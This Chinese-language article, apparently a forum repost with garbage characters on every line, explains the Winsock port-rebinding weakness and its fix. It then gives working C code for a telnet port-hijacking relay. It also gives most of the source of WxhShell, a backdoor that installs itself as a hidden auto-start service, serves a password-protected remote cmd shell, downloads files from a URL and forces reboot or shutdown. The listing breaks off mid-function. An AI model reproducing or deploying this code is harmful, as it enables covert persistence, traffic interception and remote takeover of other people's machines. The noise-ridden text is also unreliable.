在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
!InC8+be s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
'I@l$H o AM)<#U> saddr.sin_family = AF_INET;
P"Y7N?\]( >'&|{s[m saddr.sin_addr.s_addr = htonl(INADDR_ANY);
R(#ZaFuo[ /Hyi/D{ W bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
pUeok+k_ gO_d!x* 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rC6{-42bb G4J)o?:m@ 这意味着什么?意味着可以进行如下的攻击:
uVzvUz{b mfr7w+DK 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,xy$h }g .\"8H1I\T 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
?PU7xO;_ byX)4& 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
e0`5PVJ Vv*](iM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
Z
\;{e'#o 1raq;^e9 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Z<[:v2 f
SMy?8 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7~nuFJaTI dEPLkv 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
x+W,P ^8
cq
qu #include
yjIA`5^ #include
kB_T9$0e# #include
x\K,@ #include
|6b&khAM DWORD WINAPI ClientThread(LPVOID lpParam);
dg@'5.ApPu int main()
Ypx"<CKP} {
6~a4-5;>z WORD wVersionRequested;
\W"p<oo|H DWORD ret;
noO#o+
Jg# WSADATA wsaData;
W]M Fq5. BOOL val;
Eb9n6Fg SOCKADDR_IN saddr;
1( rN SOCKADDR_IN scaddr;
$[+)N~ int err;
3NN)ql SOCKET s;
ria.MCe\! SOCKET sc;
I"HA(
+G int caddsize;
\ 9#X]H HANDLE mt;
gh.+}8=" DWORD tid;
.:B;%* wVersionRequested = MAKEWORD( 2, 2 );
NPLJ*uHH err = WSAStartup( wVersionRequested, &wsaData );
#E4|@}30` if ( err != 0 ) {
PgYIQpV printf("error!WSAStartup failed!\n");
E>bpq^;r return -1;
c2fw;)j&X }
oe[f2?- saddr.sin_family = AF_INET;
#F'8vf'r Wn Ng3'6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
=!DpW VsQ -BEd7@?A saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
xtzkgb,0[ saddr.sin_port = htons(23);
U i`#B if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>lF@M- {
{ukQBu#}< printf("error!socket failed!\n");
!twYjOryH[ return -1;
N;i\.oY
}
|P7FPmn val = TRUE;
=JN{j2xY //SO_REUSEADDR选项就是可以实现端口重绑定的
%;b] k if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
wnHfjF {
aA'of>'ib| printf("error!setsockopt failed!\n");
;e6-* return -1;
__`6 W1 }
5>aK4: S/ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
deCi\n //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\hg%J/ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
zB'_YwW Koc5~qUY] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
$
U-#woXa {
5'n$aFqI ret=GetLastError();
cue aOtD printf("error!bind failed!\n");
4X5KrecNr return -1;
nRs:^Q~o }
zEi\#Zg$ listen(s,2);
aq- | while(1)
@]dv {
I !O5+Er caddsize = sizeof(scaddr);
!HKW_m^3J //接受连接请求
UvuAN:' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
X u2+TK if(sc!=INVALID_SOCKET)
S%jFH4# {
5 TLE%#G@+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
+6:jm54 if(mt==NULL)
i'[! 'HY {
:jFZz% printf("Thread Creat Failed!\n");
<aY>fg d/1 break;
Em(Okr,0 }
y-mjfW`n }
+QeA*L$~ CloseHandle(mt);
%+ytX]E }
;KT/;I closesocket(s);
8LUl@!4b WSACleanup();
JV?d/[u, return 0;
O"J"H2}S }
^ LVKXr DWORD WINAPI ClientThread(LPVOID lpParam)
XC4wm#R {
huvn_ SOCKET ss = (SOCKET)lpParam;
rTim1<IXR SOCKET sc;
&.P G2f* unsigned char buf[4096];
HF*j=qt! SOCKADDR_IN saddr;
n_kE long num;
aev(CY,z DWORD val;
]U,m
1 DWORD ret;
-?NAA]P5c@ //如果是隐藏端口应用的话,可以在此处加一些判断
\s7/` //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
cJzkA^T9 saddr.sin_family = AF_INET;
|nBZ :$D saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
'3xK1Am saddr.sin_port = htons(23);
3ej[ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
^#U[v7y {
9V>C %I printf("error!socket failed!\n");
v1=N?8Hz1 return -1;
W=Mdh}u_I }
FSYs1Li_C val = 100;
|\W~+}'g~ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
b(t8TR#- {
H\$uRA oo* ret = GetLastError();
Q;GcV&f;f return -1;
u-*z#e_L0 }
`x;m@\R if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
S2>$S^[U {
HQMug ret = GetLastError();
JA4}Bwn return -1;
k}!'@ }
yJMo/!DZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
GU]kgwSfi {
QWE\Ud.q printf("error!socket connect failed!\n");
,h<xY> closesocket(sc);
QwL*A `@ closesocket(ss);
25<qo{ return -1;
$GYy[8{:V }
1p=bpJC while(1)
`cPZsL {
8Yo;oHk7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
MeV*]* //如果是嗅探内容的话,可以再此处进行内容分析和记录
B qLL]%F //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
03"FK"2S num = recv(ss,buf,4096,0);
.@$A~/ YU if(num>0)
6W:FT Pt44 send(sc,buf,num,0);
j1=su~ else if(num==0)
m[Mw2 F break;
G!lF5;Ad` num = recv(sc,buf,4096,0);
plpb4>
S if(num>0)
=MwR)CI# send(ss,buf,num,0);
(L:Mdo else if(num==0)
uzhTNf break;
H-mQ{K^ }
Rln\ closesocket(ss);
syCT)}T6z closesocket(sc);
RwhKW?r+ return 0 ;
@^GI :z }
s\p 1EL( _%#Uh#7P$ NMUF)ksjN ==========================================================
"Y@q?ey[1 UhJ!7Ws$ 下边附上一个代码,,WXhSHELL
E&f/*V^ PcI~,e% ==========================================================
<'\! 7spZe" #include "stdafx.h"
O%w'nz" 204"\mv #include <stdio.h>
[z!pm-Ir #include <string.h>
=Aw`0 #include <windows.h>
1DGl[k/zv #include <winsock2.h>
kSEgq<i! #include <winsvc.h>
4p%^?L? #include <urlmon.h>
x,|fblQz trB-(B%5 #pragma comment (lib, "Ws2_32.lib")
C_yNSD #pragma comment (lib, "urlmon.lib")
oDayfyy4y) .&I!2F #define MAX_USER 100 // 最大客户端连接数
`?SC.KT #define BUF_SOCK 200 // sock buffer
HMDuP2Y #define KEY_BUFF 255 // 输入 buffer
^# 4e_&4 uc}F|O #define REBOOT 0 // 重启
#g'j0N #define SHUTDOWN 1 // 关机
]c
bXI R7O<>kt #define DEF_PORT 5000 // 监听端口
^ E.mG> e X6o7a #define REG_LEN 16 // 注册表键长度
Q<KF<K'0hg #define SVC_LEN 80 // NT服务名长度
GMB3`&qh ewWw // 从dll定义API
gtT&97tT< typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
`g4N]<@z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
W|"bV 6d3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
uGHM ]"!) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
I:6XM? eu":\ks // wxhshell配置信息
Yq4nmr4 struct WSCFG {
cI/}rZ+ int ws_port; // 监听端口
b"nkF\P@Fj char ws_passstr[REG_LEN]; // 口令
J _q int ws_autoins; // 安装标记, 1=yes 0=no
$4qM\3x0, char ws_regname[REG_LEN]; // 注册表键名
reM~q-M~o@ char ws_svcname[REG_LEN]; // 服务名
9+/D\|"{ char ws_svcdisp[SVC_LEN]; // 服务显示名
V]m}xZ'?^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
MWK)Bn char ws_passmsg[SVC_LEN]; // 密码输入提示信息
l/"!}wF int ws_downexe; // 下载执行标记, 1=yes 0=no
&N]e pV> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
LROrhO char ws_filenam[SVC_LEN]; // 下载后保存的文件名
P1Eg%Y6 Q)lD2 };
_dW#[TCF #{#k;va // default Wxhshell configuration
y&bZai8WlE struct WSCFG wscfg={DEF_PORT,
e+:X%a4\ "xuhuanlingzhe",
_~*j=XR s 1,
v#`> "Wxhshell",
%9J:TH9E) "Wxhshell",
|_QpB?b "WxhShell Service",
d1D=R8P_u "Wrsky Windows CmdShell Service",
qq3/K9 #y "Please Input Your Password: ",
u J]uz% 1,
] SLeWs "
http://www.wrsky.com/wxhshell.exe",
AEDBr < "Wxhshell.exe"
6y57m;JW/ };
(ti!Y"e2 o*2Mjd]r // 消息定义模块
9U4[o<G]= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z9q4W:jyS char *msg_ws_prompt="\n\r? for help\n\r#>";
.mcohfR char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
S%B56|' char *msg_ws_ext="\n\rExit.";
Ye$;
d ~ char *msg_ws_end="\n\rQuit.";
7G*rxn"d char *msg_ws_boot="\n\rReboot...";
qk>SM|{ char *msg_ws_poff="\n\rShutdown...";
yeBfzKI{b char *msg_ws_down="\n\rSave to ";
XsDZ<j%x89 Ts3!mjn char *msg_ws_err="\n\rErr!";
7oc Ng char *msg_ws_ok="\n\rOK!";
O*!f%} ~b0l?P*Ff char ExeFile[MAX_PATH];
f8V
)nM+v" int nUser = 0;
{u9n?Z% HANDLE handles[MAX_USER];
hh5h \ZI% int OsIsNt;
4\k{E-x $ m,J
IId%O SERVICE_STATUS serviceStatus;
:(.:bf SERVICE_STATUS_HANDLE hServiceStatusHandle;
9a_UxF+6/ <#199`R // 函数声明
/q,=!&f2 int Install(void);
H8B2{]HAt int Uninstall(void);
B&y?Dc int DownloadFile(char *sURL, SOCKET wsh);
r!w*y3 int Boot(int flag);
%tC[q void HideProc(void);
Iza;~8dH5 int GetOsVer(void);
SGba6b31 int Wxhshell(SOCKET wsl);
5|>ms)[RQ void TalkWithClient(void *cs);
i)$+#N int CmdShell(SOCKET sock);
eibkG int StartFromService(void);
~D`R"vzw= int StartWxhshell(LPSTR lpCmdLine);
uFhPNR2l jTZi<
Y:bB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Ciz,1IV VOID WINAPI NTServiceHandler( DWORD fdwControl );
ShvC4Xb 0 o|c&$)m // 数据结构和表定义
5wE6 gRJ SERVICE_TABLE_ENTRY DispatchTable[] =
nh80"Ny5 {
O '`|(L {wscfg.ws_svcname, NTServiceMain},
%++S;#)~ {NULL, NULL}
Da!vGr };
qs= i+ a`]ZyG*P // 自我安装
-[pfLo int Install(void)
^eefR5^_w {
G#@#j]8 char svExeFile[MAX_PATH];
o4@d,uIw^ HKEY key;
iTs"RW strcpy(svExeFile,ExeFile);
:#_k`{WG #7]>ozKm // 如果是win9x系统,修改注册表设为自启动
r'_#rl if(!OsIsNt) {
z4` :n. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u$aN~6HG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
SG&H^V8 RegCloseKey(key);
+lZ-xU1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Eza^Tbq%j? RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
`[XH=-p RegCloseKey(key);
n "^rS}Y] return 0;
1vCp<D9< }
w@O)b-b|w }
7;C~>WlU }
3RxR'M1 else {
)"|wWu CdcBE.%< // 如果是NT以上系统,安装为系统服务
p]?eIovi SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Dq9f Fe if (schSCManager!=0)
hkV*UH{ {
ZtP/|P5@ SC_HANDLE schService = CreateService
o8IqO' (
H!,V7R schSCManager,
RdL5VAD wscfg.ws_svcname,
!vc5NKv#n wscfg.ws_svcdisp,
~k?t SERVICE_ALL_ACCESS,
;05lwP*r] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
g2*}XS3 SERVICE_AUTO_START,
$P#+Y,r~\ SERVICE_ERROR_NORMAL,
s|Vs#o.P) svExeFile,
.i*ja* NULL,
NS+uiy NULL,
'%:E4oI NULL,
1rU\ !GfR NULL,
bNtOqhi NULL
fIatp );
cXN0D\%` if (schService!=0)
#BS!J&a {
l^o>7 cM CloseServiceHandle(schService);
R`@7f$;wG CloseServiceHandle(schSCManager);
a8%T*mk( strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
+|K,\
{'U strcat(svExeFile,wscfg.ws_svcname);
~7Nqwwx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
aO9\8\^ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
N[O_}_ RegCloseKey(key);
Do^yer~ return 0;
-xJ\/"A }
upJy,|5 }
7)Tix7:9S; CloseServiceHandle(schSCManager);
#^ .G^d(= }
`ZP[-: ` }
j.+,c#hFo IBNb!mPu% return 1;
#.Ly }
4"{g{8 //Xz // 自我卸载
20` XklV int Uninstall(void)
L ]BTX] {
>SYOtzg% HKEY key;
P>x88M @wP.Rd if(!OsIsNt) {
_n4`mL8>kH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
ZX{eggXl RegDeleteValue(key,wscfg.ws_regname);
P/]8+_K RegCloseKey(key);
|L-- j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
I>-}ys`[ RegDeleteValue(key,wscfg.ws_regname);
*]k E3 RegCloseKey(key);
a<+Rw{ return 0;
,p\*cHB9 }
AP=SCq; }
cmaha%3d }
6G-XZko~a else {
K+yi_n L &;GoCU Le SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
S=~+e{ if (schSCManager!=0)
T).}~i;! {
|Z Cv>8?n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
P5"B7>L: if (schService!=0)
"e29j'u!* {
OU mZ| if(DeleteService(schService)!=0) {
0{?%"t\/f CloseServiceHandle(schService);
+OB&PE CloseServiceHandle(schSCManager);
[!ZYtp?Hf return 0;
L9whgXD }
~IQjQz? CloseServiceHandle(schService);
e+@.n }
7bJM
$
CloseServiceHandle(schSCManager);
>S?7-2X }
'64/2x }
jd
8g0^ &N%-.&t' return 1;
eMH\]A~v" }
*\Hut'7 d )%!X, // 从指定url下载文件
y G>sBc int DownloadFile(char *sURL, SOCKET wsh)
$ WWi2cI; {
n4ti{-^4|d HRESULT hr;
~i}/ char seps[]= "/";
=)]RD%Oq char *token;
91#n Aj% char *file;
#e9XU:9@g char myURL[MAX_PATH];
]7h;MR char myFILE[MAX_PATH];
xz,M>Ua dsbz\w3: strcpy(myURL,sURL);
a<V
Mh79* token=strtok(myURL,seps);
52.hJNq#L while(token!=NULL)
VrFI5_M/ {
mj y+_ file=token;
o%Qn%gaX token=strtok(NULL,seps);
wo^1%:@/2 }
F#efs6{ !}xRwkN GetCurrentDirectory(MAX_PATH,myFILE);
D[Ld=e8t strcat(myFILE, "\\");
zH@+\#M strcat(myFILE, file);
[|HQfTp$ send(wsh,myFILE,strlen(myFILE),0);
%';DBozZ send(wsh,"...",3,0);
$ g#d1u0q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
ZPY84)A_} if(hr==S_OK)
e9B$"_ &2 return 0;
!|Y&h0e else
:/NP8$~@j return 1;
bHHR^*B x1:1Jj: }
+OUM 4y \<y#$:4r<8 // 系统电源模块
#8bI4J{dE int Boot(int flag)
.q$/#hN:e {
]6HnK% HANDLE hToken;
Q $>SYvW TOKEN_PRIVILEGES tkp;
,k/<Nv; K%vGfQ8Er- if(OsIsNt) {
UAdj[m61 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
/B LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
jbTyM"Y tkp.PrivilegeCount = 1;
h^b= tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
]g9n#$|. AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
=iPQ\_ON@ if(flag==REBOOT) {
u\UI6/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
jTY{MY Jh return 0;
e?-LB }
G@S'_ else {
(8j@+J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u+8?'ZT, return 0;
g|4v>5Y }
Al]z= }
k:zGv else {
+;;pM[U if(flag==REBOOT) {
m^,3jssdA if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
wijY]$ return 0;
%w6lNl }
e9?y0vT// else {
rHgrCMW if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
9'JkLgz;d+ return 0;
DzCb'# }
ymyk.#Z<% }
!^A t{[U 2O9OEZdKB return 1;
,1e@Y~eZ }
>(a/K2$*1 HLM"dmI // win9x进程隐藏模块
= G3A} void HideProc(void)
y|Zj
M {
9L9mi<, <i1P ~ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
q0
8 if ( hKernel != NULL )
[x|{VJ(h {
S8Yh>j8- pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
r.zJ/Tk ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
OAz-w FreeLibrary(hKernel);
h%@#jvh?4 }
T?FR@.
Rm n?A;'\cK return;
6@ )bZ| }
,cFp5tV$ (tP^F)}e5 // 获取操作系统版本
u8@>ThPD int GetOsVer(void)
-n'%MT=Cd {
sQe>LNp,G OSVERSIONINFO winfo;
5=Y\d,SS" winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
bpeWK& GetVersionEx(&winfo);
gs77")K& if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
/-ky'S9 return 1;
Z@`HFZJ else
E^.
=^bR return 0;
PK*
$ }
b%,`;hy{ -f:uNF]Ls // 客户端句柄模块
l=JK+uZ int Wxhshell(SOCKET wsl)
Zx]"2U# {
:!Tb/1 SOCKET wsh;
v4Q8RE? struct sockaddr_in client;
{z}OZHJN DWORD myID;
) 4'@=q \D
#NO while(nUser<MAX_USER)
g @lAk%V4 {
=>6'{32W_ int nSize=sizeof(client);
FeFH_ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
#VEHyz 6P if(wsh==INVALID_SOCKET) return 1;
I2'UC)
0 _sCpyu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
%fz!'C_4 if(handles[nUser]==0)
SSF4P& closesocket(wsh);
Wz7jB6AWA else
D?Q{&6p nUser++;
z7J2O }
oFV>b WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
)/9/p17:xu X;0DQnAI8j return 0;
~(`iR xK }
kSw.Q2ao ~dK)U*Q // 关闭 socket
IPnbR)[% void CloseIt(SOCKET wsh)
&u_f:Pog {
6]^}GyM! closesocket(wsh);
l8hOr yB& nUser--;
5A6d] ExitThread(0);
6l>$N?a }
xGeRoW(X Y75,{1\l0 // 客户端请求句柄
RW|3d<Fj void TalkWithClient(void *cs)
Y m|zM1qc {
>%.6n:\rG mPxph>o SOCKET wsh=(SOCKET)cs;
9_F2nmEv char pwd[SVC_LEN];
9Qb_BNUo char cmd[KEY_BUFF];
yggQ4y6 char chr[1];
#^v|u3^DD int i,j;
eVDI7W:(Sn *eytr#0B- while (nUser < MAX_USER) {
[x5T7= >LwZ"IEV if(wscfg.ws_passstr) {
T)]5k3{ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
q8.K-"f(Q //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
MDS;qZx= //ZeroMemory(pwd,KEY_BUFF);
0>m-J i=0;
aQaO.K2 while(i<SVC_LEN) {
.4~n|d>z \0m[Ch}~ey // 设置超时
70L{u+wIy fd_set FdRead;
</|IgN$w` struct timeval TimeOut;
*O|Z[> FD_ZERO(&FdRead);
Llk4 =p FD_SET(wsh,&FdRead);
R;f!s/^) TimeOut.tv_sec=8;
{ls$#a+d TimeOut.tv_usec=0;
0t1WvW int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
)sVz;rF< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V 3-5:z @U(D&_H,K if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
J]~LmSh pwd
=chr[0]; R$=UJ}>
if(chr[0]==0xd || chr[0]==0xa) { w Maib3Q
pwd=0; EOjo>w>
break; k9.2*+vvg
} |jniI(
i++; Uax- z
} }Z-]m
qde.;Yv9
// 如果是非法用户,关闭 socket ]z,W1Zs?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &<-Sxjj
} <5A(rDij
B8:_yAv o
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -U(T
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <Vr"
|Gb"%5YD
while(1) { <DCrYt!1}c
:grJ}i-D
ZeroMemory(cmd,KEY_BUFF); Ex~[Hk4ow
u~6`9'Ms
// 自动支持客户端 telnet标准 TDdFuO'}
j=0; b}p 0&%I
while(j<KEY_BUFF) { }\B`tAN
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $cFanra
cmd[j]=chr[0]; jAmAT/ 1
if(chr[0]==0xa || chr[0]==0xd) { VC\43A,9
cmd[j]=0; z1?7}9~`0c
break; 6';'pHqe
} T+m`a#
j++; 9Nglt3J[
} <1VzQH!o
1_THBL26d
// 下载文件 %<JjftNQ
if(strstr(cmd,"http://")) { P7(+{d{
send(wsh,msg_ws_down,strlen(msg_ws_down),0); E@aR5S>
if(DownloadFile(cmd,wsh)) %zyO}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _* ] ~MQ=
else vDz)q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hm4:m$=p4
} +s
c|PB
else {
(CS"s+y1
&""~Pn8
switch(cmd[0]) { K.n #;|
K>9]I97g'
// 帮助 7M<Ae
D%
case '?': { <XX\4[wb
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sb+pB58&N
break; <*~vZT i(
} Qi#%&Jz>f
// 安装 Z16G
case 'i': { R 28v5
if(Install()) s!``OyI/Z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZJ@M}-4O1
else #[C|%uq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8l0%:6XbI
break; 0ejx;Mum
} I|,^a|\
// 卸载
!9DqW&8
case 'r': { ' D+h_*H
if(Uninstall()) d>eVR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CeoK@y=o
else "d>{hP
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r}MXXn,f
break; `UL#g![J
} "?hEGJ;m"
// 显示 wxhshell 所在路径 F`3c uL[N
case 'p': { dX: (%_Mn
char svExeFile[MAX_PATH]; at${^,&
strcpy(svExeFile,"\n\r"); f@Rn&&-
strcat(svExeFile,ExeFile); :f?\ mVS+
send(wsh,svExeFile,strlen(svExeFile),0); mdR:XuRD"t
break; |S|0'C*
} ~T9%%W[
// 重启 hV])\t=yf
case 'b': { G0Smss=K
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E8u:Fgs
if(Boot(REBOOT)) }9
N, +*
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N\1!)b
else { &/}]9 #
closesocket(wsh); Xy:'f".M~\
ExitThread(0); sptDzVM
} _9wX8fh3D
break; G2U=*|
} A!No:?S
// 关机 }:7'C. ."
case 'd': { RxY
;'NY
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -mOSB(#bo
if(Boot(SHUTDOWN)) A9ia[2[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wGD".CS0
else { E!&A[TlX\
closesocket(wsh); -bu.Ar-#;h
ExitThread(0); bv$_t)Xh
} mS5'q q;t
break; '+N!3r{G
} 1w/1k6`0
// 获取shell }$s#H{T!
case 's': { %+YLe-\?
CmdShell(wsh); \RyOexNZ
closesocket(wsh); FA<|V!a
ExitThread(0); R<@s]xX_
break; M5s>;q)
} k{(R.gLZG
// 退出 I4:4)V?
case 'x': { {v+,U}
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \:-#,( .V
CloseIt(wsh); S(eCG2gR
break; ,y>,?6:>
} I3]-$
// 离开 ?*|AcMw5
case 'q': { bO>q`%&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); trcG^uV
closesocket(wsh); Q{T6t;eH
WSACleanup(); 7T9m@
exit(1); >Lx,<sE
break; q 9lz
} KSnU;B6w>
} J^8(h R
} R7}=k)U?d@
e3,TY.,Ay
// 提示信息 -U~]Bugvh
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xDv$z.=Y
} i"Hec9Ri
} Md(AqaA
c""*Ng*T
return; N7:=%F y(
} t+7h(?8L
@^]wT_r
// shell模块句柄 9J h"1i>x2
int CmdShell(SOCKET sock) bD*V$w*P
{ e\%+~GUTC=
STARTUPINFO si; 6&_"dg"
ZeroMemory(&si,sizeof(si)); q&OF?z7H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u+%Ca,6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /~[+'
PROCESS_INFORMATION ProcessInfo; $mOVo'2
char cmdline[]="cmd"; 4^cDp!8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (|+Sbq(o
return 0; huFT_z_;;
} @TF^6)4f
Uyf<:8U\
// 自身启动模式 !D6
int StartFromService(void) /RU'~(
{ qpzzk9ba[
typedef struct GSo&$T;B6
{ 2(M^8Bl
DWORD ExitStatus; S`g:zb_
DWORD PebBaseAddress; 3<.]+ukm
DWORD AffinityMask; q)vdDdRe_
DWORD BasePriority; A/V"&H[
ULONG UniqueProcessId; 5p!X}u]
ULONG InheritedFromUniqueProcessId; </!
